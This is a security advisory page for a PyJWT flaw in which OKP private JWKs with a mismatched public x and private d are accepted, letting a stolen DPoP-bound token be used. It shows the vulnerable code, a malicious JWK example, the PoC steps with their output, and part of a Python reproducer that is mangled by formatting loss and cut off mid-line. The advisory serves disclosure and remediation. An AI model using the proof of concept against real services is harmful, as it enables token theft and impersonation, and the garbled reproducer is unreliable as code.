CVE-2026-102275: PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion

Medium CVSS 6.5

OSV id
GHSA-x33g-cr3x-6449
Also known as
CVE-2026-102275, PYSEC-2026-4183
Published
Last modified

Affected packages

PackageAffected versionsFixed in
pyjwt
PyPI
>= 2.1.0, < 2.15.0 2.15.0

Versions we track that it affects: pyjwt 2.8.0

How to fix it

Upgrade pyjwt to 2.15.0 or later.

# in requirements.txt: change the line to pyjwt==2.15.0
pip install -r requirements.txt
  • If it is an indirect dependency, upgrade the package that depends on it, or add a minimum version constraint for it (e.g. in constraints.txt, or as a dependency in pyproject.toml).
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.

When d is present, OKPAlgorithm.from_jwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.

In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.

Details

The vulnerable logic is in jwt/algorithms.py:

if "x" not in obj:
    raise InvalidKeyError('OKP should have "x" parameter')

x = base64url_decode(obj.get("x"))

if "d" not in obj:
    if curve == "Ed25519":
        return Ed25519PublicKey.from_public_bytes(x)
    return Ed448PublicKey.from_public_bytes(x)

d = base64url_decode(obj.get("d"))

if curve == "Ed25519":
    return Ed25519PrivateKey.from_private_bytes(d)

return Ed448PrivateKey.from_private_bytes(d)

When d is present, x is parsed but never compared with the public key derived from d.

For example, PyJWT accepts:

{
  "kty": "OKP",
  "crv": "Ed25519",
  "x": "<legitimate-user-public-key>",
  "d": "<attacker-private-key>"
}

even though x and d belong to different key pairs.

The behavior has existed since OKP private-JWK import was introduced:

  • Ed25519: PyJWT 2.1.0+
  • Ed448: PyJWT 2.2.0+
  • Confirmed through PyJWT 2.14.0 and current master

A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.

PoC

The reproducer creates two Ed25519 keypairs:

  • a legitimate holder keypair
  • an attacker keypair

It then:

  1. Creates an access token whose cnf.jkt is bound to the legitimate public key.
  2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d.
  3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding.
  4. Passes the complete JWK to PyJWK.from_dict().
  5. PyJWT imports the private key from the attacker-controlled d.
  6. A DPoP proof signed with the attacker's private key verifies successfully.

Observed result:

thumbprint_matches: true
actual_key_is_attacker_key: true
actual_key_matches_declared_x: false
stolen_sender_constrained_token_accepted: true
attacker_has_legitimate_private_key: false

Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.

The complete reproducer is: ```python

!/usr/bin/env python3

from future import annotations

import base64 import hashlib import json import os import platform import time from importlib.metadata import version from typing import Any

import jwt from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, )

ACCESSTOKENSECRET = b"synthetic-authorization-server-key-32b" HTTPMETHOD = "GET" HTTPURI = "https://resource.example/protected"

def b64url(raw: bytes) -> str: return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")

def publicx(privatekey: Ed25519PrivateKey) -> str: return b64url(privatekey.publickey().public_bytes(Encoding.Raw, PublicFormat.Raw))

def privated(privatekey: Ed25519PrivateKey) -> str: return b64url( privatekey.privatebytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption()) )

def jwkthumbprint(jwk: dict[str, Any]) -> str: canonical = json.dumps( {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]}, separators=(",", ":"), sortkeys=True, ).encode("ascii") return b64url(hashlib.sha256(canonical).digest())

def accesstokenhash(accesstoken: str) -> str: return b64url(hashlib.sha256(accesstoken.encode("ascii")).digest())

def verifyresourcerequest( accesstoken: str, proof: str, *, rejectprivateheaderjwk: bool = False, ) -> dict[str, Any]: """Model the security-relevant stages of an RFC 9449 resource server.""" accessclaims = jwt.decode( accesstoken, ACCESSTOKENSECRET, algorithms=["HS256"], issuer="https://authorization.example", audience="resource-api", options={"require": ["exp", "iss", "aud", "sub", "cnf"]}, ) header = jwt.getunverifiedheader(proof) if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA": raise ValueError("invalid DPoP header policy") jwk = header.get("jwk") if not isinstance(jwk, dict): raise ValueError("missing DPoP JWK") if rejectprivateheaderjwk and any( member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k") ): raise ValueError("DPoP header JWK contains private material") if jwkthumbprint(jwk) != access_claims["cnf"]["jkt"]: raise Val

References

Am I affected?

Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.

or paste its content

Needed when you paste. package.json and pyproject.toml only have version ranges: use the lockfile next to them.

Only package names and versions are checked; the file itself is not kept. We use your email to send this report and nothing else unless you tick the box above. Privacy policy.

About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.